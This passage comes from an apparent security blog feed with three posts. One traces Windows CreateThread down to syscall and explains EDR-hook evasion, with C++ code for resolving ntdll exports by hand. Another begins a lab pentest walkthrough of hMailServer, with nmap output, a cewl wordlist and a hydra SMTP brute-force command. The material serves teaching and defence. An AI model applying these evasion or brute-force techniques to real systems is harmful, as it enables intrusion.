    printf(&quot;--&gt; Check the memory map again.\n&quot;);
    printf(&quot;Press Enter to change protection to EXECUTABLE...\n&quot;);
    getchar();

    // 步骤 3: 修改保护属性 (Protect)
    // 使用 VirtualProtect 修改内存为可读、可写、可执行。保护属性变为 RWX
    DWORD oldProtect;
    if (!VirtualProtect(memoryAddress, memorySize, PAGE_EXECUTE_READWRITE, &amp;#x26;oldProtect)) {
        printf(&quot;Failed to change memory protection. Error: %lu\n&quot;, GetLastError());
        VirtualFree(memoryAddress, 0, MEM_RELEASE);
        return 1;
    }
    printf(&quot;Memory protection changed to EXECUTE_READWRITE.\n&quot;);
    printf(&quot;--&gt; Check the memory map for the final time.\n&quot;);
    printf(&quot;Press Enter to free memory and exit...\n&quot;);
    getchar();

    // 步骤 4: 释放内存
    VirtualFree(memoryAddress, 0, MEM_RELEASE);
    printf(&quot;Memory released.\n&quot;);

    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在执行完&lt;code&gt; memoryAddress = VirtualAlloc(NULL, memorySize, MEM_RESERVE, PAGE_NOACCESS);&lt;/code&gt;时我们能看到内存区域的状态已经变为保留，无访问权限。&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgMemReserve}
alt=&apos;内存保留状态示意图&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;执行完&lt;code&gt;VirtualAlloc(memoryAddress, memorySize, MEM_COMMIT, PAGE_READWRITE)&lt;/code&gt;时内存状态已提交并显示拥有读写权限&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgMemCommit}
alt=&apos;内存提交状态示意图&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;在执行完&lt;code&gt;VirtualProtect(memoryAddress, memorySize, PAGE_EXECUTE_READWRITE, &amp;#x26;oldProtect)&lt;/code&gt;后，内存区域被设置为读写执行权限&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgMemExec}
alt=&apos;内存读写执行权限示意图&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;</content:encoded><h:img src="/_astro/image-20250630131503440.DDd6Epk4.png"/><enclosure url="/_astro/image-20250630131503440.DDd6Epk4.png"/></item><item><title>从 x64dbg 调试到红队免杀技术</title><link>https://blog.0xd00.com/blog/windows-createthread-evasion-techniques</link><guid isPermaLink="true">https://blog.0xd00.com/blog/windows-createthread-evasion-techniques</guid><description>一篇博客，双重视角。不止带你用 x64dbg 追踪 CreateThread 从用户态到内核的完整调用链，更从红队免杀角度，揭示为何恶意软件偏爱直接调用 ntdll 和 syscall 来绕过 EDR/AV 的 API 钩子。理解 Windows 攻防对抗的底层逻辑。</description><pubDate>Thu, 26 Jun 2025 14:39:24 GMT</pubDate><content:encoded>&lt;p&gt;import { Image } from &apos;astro:assets&apos;&lt;/p&gt;
&lt;p&gt;import imgMainFunc from &apos;./assets/image-20250627133435283.png&apos;
import imgKernel32 from &apos;./assets/image-20250627140544503.png&apos;
import imgKernelBase from &apos;./assets/image-20250627141938043.png&apos;
import imgNtdll from &apos;./assets/image-20250627143737047.png&apos;
import imgSyscall from &apos;./assets/image-20250627144611068.png&apos;&lt;/p&gt;
&lt;h2&gt;Windows 架构&lt;/h2&gt;
&lt;p&gt;现代操作系统设计的核心基石之一，便是对处理器特权级别的划分。在Windows中，这体现为两种截然不同的工作模式：&lt;strong&gt;用户模式 (User Mode)&lt;/strong&gt; 和 &lt;strong&gt;内核模式 (Kernel Mode)&lt;/strong&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;用户模式 (Ring 3)&lt;/strong&gt;：应用程序的运行环境。无论是浏览器、代码编辑器还是游戏，它们都受到严格的权限限制，无法直接访问物理硬件或干涉其他进程的核心数据，从而保证了系统的整体稳定性。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;内核模式 (Ring 0)&lt;/strong&gt;：操作系统的核心领域。它拥有CPU的最高特权级别，能够执行所有指令，直接管理CPU、内存、I/O设备等硬件资源，是整个系统安全与资源调度的仲裁者。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;经典模型&lt;/h3&gt;
&lt;p&gt;这种隔离设计是现代操作系统的基石。应用程序无法独立完成任何有意义的功能（如读写文件、创建网络连接、创建销毁进程），因为这些操作都涉及到底层硬件资源。应用程序必须&quot;请求&quot;内核来代为完成。整体调用链条如下：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;用户进程 (Application) → 子系统DLL (Subsystem DLL) → Ntdll.dll (Native API) → [模式切换] → 内核 (Kernel)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这就像一家餐厅的运作流程：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;你 (用户进程)&lt;/strong&gt;：想吃一份牛排。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;服务员 (子系统DLL)&lt;/strong&gt;：过来为你点单，用餐厅的术语记下&quot;T-Bone, medium rare&quot;。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;传菜员 (Ntdll.dll)&lt;/strong&gt;：将标准化的菜单指令传递给厨房。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;厨房大门 (模式切换)&lt;/strong&gt;：这是普通人无法进入的地方。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;厨师 (内核)&lt;/strong&gt;：在厨房里，用火、锅、食材等真正地做出牛排。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;现代模型&lt;/h3&gt;
&lt;p&gt;需要注意的是，从win7开始，微软为了实现一种叫做 &lt;strong&gt;&quot;API Sets&quot;&lt;/strong&gt; 的技术（也为了后来的UWP应用架构），微软对Win32 API层进行了一次重构，将 kernel32.dll 中的&lt;strong&gt;大部分实现代码&lt;/strong&gt;移动到了一个新的DLL中，那就是 &lt;strong&gt;KernelBase.dll&lt;/strong&gt;。现在的 kernel32.dll 变成了一个**&quot;转发层&quot; (Forwarding Layer)**。它里面几乎没有真正的代码，只有一些&quot;跳板&quot;指令（JMP），把API调用直接转发给 KernelBase.dll 中的同名函数去执行。调用链条如下：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;用户进程 (Application) →&lt;/strong&gt; &lt;strong&gt;kernel32.dll&lt;/strong&gt; &lt;strong&gt;(转发) →&lt;/strong&gt; &lt;strong&gt;KernelBase.dll&lt;/strong&gt; &lt;strong&gt;(实现) →&lt;/strong&gt; &lt;strong&gt;ntdll.dll&lt;/strong&gt; &lt;strong&gt;(原生API) → [模式切换] → 内核 (Kernel)&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://learn.microsoft.com/zh-cn/windows/win32/win7appqual/new-low-level-binaries&quot;&gt;新建 Low-Level 二进制文件 - Win32 apps | Microsoft Learn&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://learn.microsoft.com/zh-cn/windows/win32/apiindex/windows-apisets&quot;&gt;Windows API 集 - Win32 apps | Microsoft Learn&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;函数调用流程&lt;/h2&gt;
&lt;p&gt;本文以&lt;code&gt;CreateThread&lt;/code&gt;为例展示函数的调用流程。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;#include &amp;#x3C;stdio.h&gt;
#include &amp;#x3C;Windows.h&gt;
DWORD WINAPI MyThreadFunction(LPVOID lpParam)
{
    // 1. 将 LPVOID 类型的参数强制转换回它本来的类型。
    //    我们知道我们传递的是一个字符串 (const char*)。
    const char* message = (const char*)lpParam;

    // 2. 在包装函数内部，安全地调用任何你需要的函数。
    printf_s(&quot;Message from the new thread: %s\n&quot;, message);

    // 3. 任务完成，返回一个 DWORD 值作为线程退出码。
    return 0;
}

int main()
{
    // 准备要传递给线程的参数
    const char* threadMessage = &quot;Hello from main()!&quot;;

    // 创建线程
    HANDLE hThread = CreateThread(
        NULL,                   // 默认安全属性
        0,                      // 默认栈大小
        MyThreadFunction,       // * 传递我们自己包装函数的地址
        (LPVOID)threadMessage,  // * 将我们的消息作为 LPVOID 类型的参数传递
        0,                      // 默认创建标志
        NULL);                  // 不需要返回线程ID

    if (hThread == NULL)
    {
        printf_s(&quot;Failed to create thread. Error code: %d\n&quot;, GetLastError());
        return 1;
    }

    // 等待子线程执行完毕，否则 main 函数可能先结束，导致子线程来不及执行。
    WaitForSingleObject(hThread, INFINITE);

    // 关闭线程句柄，释放系统资源。
    CloseHandle(hThread);

    printf_s(&quot;Thread has finished execution. Main function is exiting.\n&quot;);

    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.用户进程&lt;/h3&gt;
&lt;p&gt;使用x64dbg加载编译后的程序，通过符号表定位到main函数入口。代码执行到调用&lt;code&gt;CreateThread&lt;/code&gt;之前，我们可以清晰地看到x64调用约定下，各参数被依次载入&lt;code&gt;RCX&lt;/code&gt;, &lt;code&gt;RDX&lt;/code&gt;,&lt;code&gt;R8&lt;/code&gt;, &lt;code&gt;R9&lt;/code&gt;寄存器。&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgMainFunc}
alt=&apos;x64dbg查看main函数汇编&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;h3&gt;2.转发层 - Kernel32.dll&lt;/h3&gt;
&lt;p&gt;步进我们在代码中调用的 &lt;code&gt;CreateThread&lt;/code&gt; 函数，可以发现我们来到了 kernel32.dll 这个动态链接库中。&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgKernel32}
alt=&apos;kernel32汇编&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;分析其汇编代码可以发现，&lt;code&gt;CreateThread&lt;/code&gt;并未包含复杂的逻辑，它更像是一个&quot;前台接待&quot;。它对参数进行了简单的重排，随即调用了一个功能更全面的API——&lt;code&gt;CreateRemoteThreadEx&lt;/code&gt;。这印证了&lt;code&gt;kernel32.dll&lt;/code&gt;作为转发层的角色。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;CreateRemoteThreadEx&lt;/code&gt;是一个非常强大的函数，可以在有正确权限和句柄的情况下在任意进程中创建线程。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;CreateThread&lt;/code&gt;则是仅仅在当前进程中创建一个线程。&lt;/p&gt;
&lt;h3&gt;3.实现层 - KernelBase.dll&lt;/h3&gt;
&lt;p&gt;步进&lt;code&gt;KernelBase.dll&lt;/code&gt;后跟进代码，找到了&lt;code&gt;NtCreateThreadEx&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;它会调用 ntdll.dll 中的一个&lt;strong&gt;原生API (Native API)&lt;/strong&gt;。这些API通常以 &lt;code&gt;Nt&lt;/code&gt; 或 &lt;code&gt;Zw&lt;/code&gt; 开头，是用户模式与内核模式之间的&quot;最后一道门&quot;。对于创建线程而言，它最终会调用 &lt;code&gt;NtCreateThreadEx&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgKernelBase}
alt=&apos;kernelBase汇编&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;h3&gt;4.原生 API - ntdll.dll&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-assembly&quot;&gt;00007FFC09D | 4C:8BD1           | mov r10,rcx                    | r10:&quot;Actx &quot;
00007FFC09D | B8 C9000000       | mov eax,C9                     |加载系统服务号(SSN)，相当于告诉内核我要&apos;创建线程&apos;
00007FFC09D | F60425 0803FE7F 0 | test byte ptr ds:[7FFE0308],1  |
00007FFC09D | 75 03             | jne ntdll.7FFC09D03415         |
00007FFC09D | 0F05              | syscall                        |执行系统调用！从这里，控制权将进入操作系统内核，我们的用户态跟踪到此结束。
00007FFC09D | C3                | ret                            |
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgNtdll}
alt=&apos;ntdll汇编&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;h3&gt;5.模式切换&lt;/h3&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgSyscall}
alt=&apos;syscall调用内核&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;在&lt;code&gt;syscall&lt;/code&gt;处进行步进可以发现，光标停在了&lt;code&gt; C3(ret)&lt;/code&gt;处，这也印证了之前的描述，应用程序运行在用户模式下，用户态调试器没有权限进入内核空间。执行 syscall 后，CPU在内核中完成了所有创建线程的复杂工作，然后将结果（新线程的句柄）放入 rax 寄存器，最后返回到用户模式的 ntdll.dll 中，准备将结果一层层地传回给应用程序。&lt;/p&gt;
&lt;h2&gt;从免杀角度看API调用选择&lt;/h2&gt;
&lt;p&gt;一个很自然的问题是：既然我们最终都要调用到&lt;code&gt;ntdll.dll&lt;/code&gt;中的原生API，为什么不一开始就直接调用它，反而要绕道&lt;code&gt;kernel32.dll&lt;/code&gt;和&lt;code&gt;KernelBase.dll&lt;/code&gt;呢？&lt;/p&gt;
&lt;p&gt;从普通应用开发的角度看，答案是&lt;strong&gt;为了稳定和兼容&lt;/strong&gt;。Win32 API是公开且稳定的接口，而原生API是未公开的，其函数签名甚至功能都可能在不同Windows版本间发生变化。&lt;/p&gt;
&lt;p&gt;但从**恶意软件开发与免杀（Evasion）**的角度来看，这个问题就变得至关重要。API的选择直接决定了其行为能否绕过安全产品的监控。&lt;/p&gt;
&lt;h3&gt;调用高层API (kernel32.dll)&lt;/h3&gt;
&lt;p&gt;这是最常规的编程方式，但对于恶意软件来说，也是最危险的方式。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;优点&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;简单稳定&lt;/strong&gt;：代码编写简单，遵循官方文档，兼容性好。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;缺点&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;高频监控点 (Heavily Monitored)&lt;/strong&gt;：&lt;code&gt;kernel32.dll&lt;/code&gt; 和 &lt;code&gt;KernelBase.dll&lt;/code&gt; 中的函数是所有终端安全产品（EDR/AV）&lt;strong&gt;重点监控的对象&lt;/strong&gt;。它们会通过&lt;strong&gt;API Hooking&lt;/strong&gt;技术，在&lt;code&gt;CreateThread&lt;/code&gt;这类敏感函数的入口处插入自己的&quot;探针&quot;。一旦函数被调用，安全产品就能立刻捕获，并分析其行为（例如，是否用于代码注入），从而进行拦截。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;意图暴露 (Obvious Intent)&lt;/strong&gt;：恶意软件如果静态链接了&lt;code&gt;kernel32.dll&lt;/code&gt;并导入了&lt;code&gt;CreateThread&lt;/code&gt;函数，那么通过分析其&lt;strong&gt;导入地址表（IAT）&lt;/strong&gt;，就能轻易发现其意图。这是一种非常低级的、容易被静态查杀的特征。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;简单来说，调用&lt;code&gt;kernel32.dll&lt;/code&gt;就像从银行的正门进去，虽然路最简单，但到处都是摄像头和保安。&lt;/p&gt;
&lt;h3&gt;直接调用原生API (ntdll.dll)&lt;/h3&gt;
&lt;p&gt;这是更高级、更隐蔽的攻击者偏爱的方式。其核心思想是：&lt;strong&gt;在运行时动态地获取API地址，而不是在编译时静态链接。&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;优点&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;绕过用户态钩子 (Bypass User-Mode Hooks)&lt;/strong&gt;：这是最大的优势。如果EDR的钩子设置在&lt;code&gt;KernelBase!CreateThread&lt;/code&gt;上，而恶意软件直接调用&lt;code&gt;ntdll!NtCreateThreadEx&lt;/code&gt;，就相当于**&quot;跳过&quot;**了EDR的用户态监控点，使其探针完全失效。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;隐藏意图 (Hiding Intent)&lt;/strong&gt;：通过动态解析API，恶意软件的导入表中不会出现任何敏感函数名，极大地增加了静态分析的难度。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;常见调用原生API方式之一：手动解析导出表&lt;/h4&gt;
&lt;p&gt;攻击者通常不会使用&lt;code&gt;GetProcAddress&lt;/code&gt;，因为它本身也可能被监控。取而代之的是，他们会编写代码来&lt;strong&gt;手动遍历DLL的内存结构&lt;/strong&gt;，直接从其**导出地址表（Export Address Table, EAT）**中找到所需函数的地址。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c++&quot;&gt;FARPROC MyGetProcAddress(HMODULE hModule, char* lpProcName) {
	IMAGE_DOS_HEADER* pDosHeader = (IMAGE_DOS_HEADER*)hModule;
	IMAGE_NT_HEADERS64* pNtHeaders = (IMAGE_NT_HEADERS64*)((char*)pDosHeader + pDosHeader-&gt;e_lfanew);

	//LPVOID exports1 = (LPVOID)&amp;#x26;(pNtHeaders-&gt;OptionalHeader.DataDirectory[0]);
	//DWORD exports2 =  pNtHeaders-&gt;OptionalHeader.DataDirectory[0].VirtualAddress;

	IMAGE_EXPORT_DIRECTORY* pExportDir = (IMAGE_EXPORT_DIRECTORY*)((char*)pDosHeader + pNtHeaders-&gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

	DWORD* pAddressOfNames = (DWORD*)((char*)pDosHeader + pExportDir-&gt;AddressOfNames);
	WORD* pAddressOfOrdinals = (WORD*)((char*)pDosHeader + pExportDir-&gt;AddressOfNameOrdinals);
	DWORD* pAddressOfFunctions = (DWORD*)((char*)pDosHeader + pExportDir-&gt;AddressOfFunctions);

	for (DWORD i = 0; i &amp;#x3C; pExportDir-&gt;NumberOfNames; i++) {
		LPCSTR pProcName = (LPCSTR)((char*)pDosHeader + pAddressOfNames[i]);
		if (MyStrCmp((char*)pProcName, lpProcName) == 0) {
			WORD ordinal = pAddressOfOrdinals[i];
			DWORD functionRVA = pAddressOfFunctions[ordinal];
			FARPROC functionPtr = (FARPROC)((char*)hModule + functionRVA);
			return functionPtr;
		}
	}
	return NULL;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通过&lt;code&gt;HMODULE ntdllHandle = GetModuleHandleA(&quot;ntdll.dll&quot;);&lt;/code&gt;和上述&lt;code&gt;MyGetProcAddress(ntdllHandle, &quot;NtCreateThreadEx&quot;)&lt;/code&gt;，恶意软件就能在不触碰任何敏感API的情况下，拿到原生函数的指针，从而执行隐蔽的操作。&lt;/p&gt;
&lt;h4&gt;直接系统调用&lt;/h4&gt;
&lt;p&gt;最顶尖的攻击者甚至不调用&lt;code&gt;ntdll.dll&lt;/code&gt;中的函数。他们会自己编写一小段汇编代码，手动将系统服务号（SSN）放入&lt;code&gt;eax&lt;/code&gt;寄存器，然后执行&lt;code&gt;syscall&lt;/code&gt;。这可以绕过对&lt;code&gt;ntdll.dll&lt;/code&gt;本身的钩子，是目前最高级的用户态绕过技术之一。但这种方法也面临着SSN在不同系统版本间不一致的问题，增加了开发的复杂性。&lt;/p&gt;
&lt;h3&gt;总结&lt;/h3&gt;
&lt;p&gt;| 特性           | 调用高层API (kernel32.dll)           | 直接调用原生API (ntdll.dll)                                |
| -------------- | ------------------------------------ | ---------------------------------------------------------- |
| &lt;strong&gt;实现方式&lt;/strong&gt;   | 静态链接，直接调用                   | 动态解析地址，或直接执行syscall                            |
| &lt;strong&gt;优点&lt;/strong&gt;       | 简单、稳定、兼容性好                 | &lt;strong&gt;隐蔽&lt;/strong&gt;、&lt;strong&gt;可绕过用户态Hook&lt;/strong&gt;、隐藏API导入意图            |
| &lt;strong&gt;缺点&lt;/strong&gt;       | &lt;strong&gt;极易被EDR/AV监控和拦截&lt;/strong&gt;，意图暴露 | 实现复杂、&lt;strong&gt;不稳定(依赖系统版本)&lt;/strong&gt;、仍可能被内核态监控捕获 |
| &lt;strong&gt;攻击者画像&lt;/strong&gt; | 初级攻击者，通用恶意软件             | 高级持续性威胁（APT），注重免杀的攻击框架                  |&lt;/p&gt;
&lt;p&gt;因此，API调用方式的选择，是攻击与防御之间一场永恒的&quot;猫鼠游戏&quot;。防御方在更高层设防，攻击方就往更底层钻。理解这背后的完整调用链和技术细节，不仅有助于理解操作系统原理，更是理解现代网络安全攻防对抗的基石。&lt;/p&gt;</content:encoded><h:img src="/_astro/image-20250627133435283.CVuv1KO-.png"/><enclosure url="/_astro/image-20250627133435283.CVuv1KO-.png"/></item><item><title>利用SMTP爆破与钓鱼邮件渗透hMailServer</title><link>https://blog.0xd00.com/blog/windows-pentest-hmailserver</link><guid isPermaLink="true">https://blog.0xd00.com/blog/windows-pentest-hmailserver</guid><description>一份详细的hMailServer渗透测试演练指南。本文记录了从信息收集、SMTP爆破、钓鱼攻击到最终通过RDP获取Windows服务器管理员权限的完整过程。</description><pubDate>Fri, 20 Jun 2025 13:06:53 GMT</pubDate><content:encoded>&lt;p&gt;import { Image } from &apos;astro:assets&apos;&lt;/p&gt;
&lt;p&gt;import imgEmails1 from &apos;./assets/image-20250620134738112.png&apos;
import imgEmails2 from &apos;./assets/image-20250620134849108.png&apos;
import imgMsf from &apos;./assets/image-20250620150329393.png&apos;
import imgGetuid from &apos;./assets/image-20250620150823958.png&apos;
import imgNetUser from &apos;./assets/image-20250620151428079.png&apos;
import imgHashdump from &apos;./assets/image-20250620151745270.png&apos;
import imgCmd5 from &apos;./assets/image-20250620152540840.png&apos;&lt;/p&gt;
&lt;h2&gt;初始信息&lt;/h2&gt;
&lt;p&gt;目标IP: 10.10.38.108（渗透目标）&lt;/p&gt;
&lt;p&gt;相关域名: brownbrick.co（仅允许被动信息收集）&lt;/p&gt;
&lt;h2&gt;信息收集&lt;/h2&gt;
&lt;h3&gt;端口扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;nmap -T4 -n -sS -sV -Pn -p- 10.10.38.108
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;PORT      STATE SERVICE       VERSION
25/tcp    open  smtp          hMailServer smtpd	          // [!code highlight]
| smtp-commands: BRICK-MAIL, SIZE 20480000, AUTH LOGIN, HELP,
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
110/tcp   open  pop3          hMailServer pop3d	          // [!code highlight]
|_pop3-capabilities: TOP UIDL USER
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
143/tcp   open  imap          hMailServer imapd	          // [!code highlight]
|_imap-capabilities: ACL CHILDREN CAPABILITY NAMESPACE completed RIGHTS=texkA0001 QUOTA IDLE OK IMAP4rev1 IMAP4 SORT
445/tcp   open  microsoft-ds?
587/tcp   open  smtp          hMailServer smtpd	          // [!code highlight]
| smtp-commands: BRICK-MAIL, SIZE 20480000, AUTH LOGIN, HELP,
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: BRICK-MAIL
|   NetBIOS_Domain_Name: BRICK-MAIL
|   NetBIOS_Computer_Name: BRICK-MAIL
|   DNS_Domain_Name: BRICK-MAIL
|   DNS_Computer_Name: BRICK-MAIL
|   Product_Version: 10.0.17763
|_  System_Time: 2025-06-20T05:18:44+00:00
| ssl-cert: Subject: commonName=BRICK-MAIL
| Not valid before: 2025-06-19T05:07:12
|_Not valid after:  2025-12-19T05:07:12
|_ssl-date: 2025-06-20T05:18:49+00:00; -1s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
49672/tcp open  msrpc         Microsoft Windows RPC
MAC Address: 02:9C:A3:7A:4D:2F (Unknown)
Service Info: Host: BRICK-MAIL; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
|_nbstat: NetBIOS name: BRICK-MAIL, NetBIOS user: &amp;#x3C;unknown&gt;, NetBIOS MAC: 02:9c:a3:7a:4d:2f (unknown)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2025-06-20T05:18:44
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 399.98 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;目标主机名为BRICK-MAIL，运行&lt;code&gt;hMailServer&lt;/code&gt;服务，并开启了rdp服务，WinRM (5985) 服务，其他接口未提供有效信息&lt;/p&gt;
&lt;h3&gt;收集潜在用户与密码字典&lt;/h3&gt;
&lt;p&gt;经过浏览brownbrick.co，发现目标部分邮箱。&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgEmails1}
alt=&apos;brownbrick.co网站上的邮箱信息&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;p&gt;通过xpath helper 快速提取所有邮箱&lt;/p&gt;
&lt;p&gt;&amp;#x3C;Image
src={imgEmails2}
alt=&apos;使用xpath helper提取邮箱&apos;
widths={[720, 1080, 1365]}
sizes=&quot;(max-width: 768px) 96vw, (max-width: 1200px) 90vw, 1100px&quot;
format=&apos;webp&apos;
loading=&apos;lazy&apos;
decoding=&apos;async&apos;
class=&apos;rounded-xl shadow-sm&apos;
/&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-xpath&quot;&gt;/html/body/div[3]/div/div[2]/div/div/div[2]/p
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;将这些邮箱列表保存到文本文件emails中&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-txt&quot;&gt;oaurelius@brownbrick.co
wrohit@brownbrick.co
lhedvig@brownbrick.co
tchikondi@brownbrick.co
pcathrine@brownbrick.co
fstamatis@brownbrick.co
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;收集页面上的单词生成字典&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;cewl --lowercase https://brownbrick.co/index.html &gt; wordlist
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;初始访问&lt;/h2&gt;
&lt;h3&gt;爆破smtp服务器&lt;/h3&gt;
&lt;p&gt;接下来使用hydra爆破邮箱smtp服务器&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;hydra -L emails -P wordlist 10.10.38.108 smtp -s 587
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功爆破出一组有效用户凭证&lt;/p&gt;
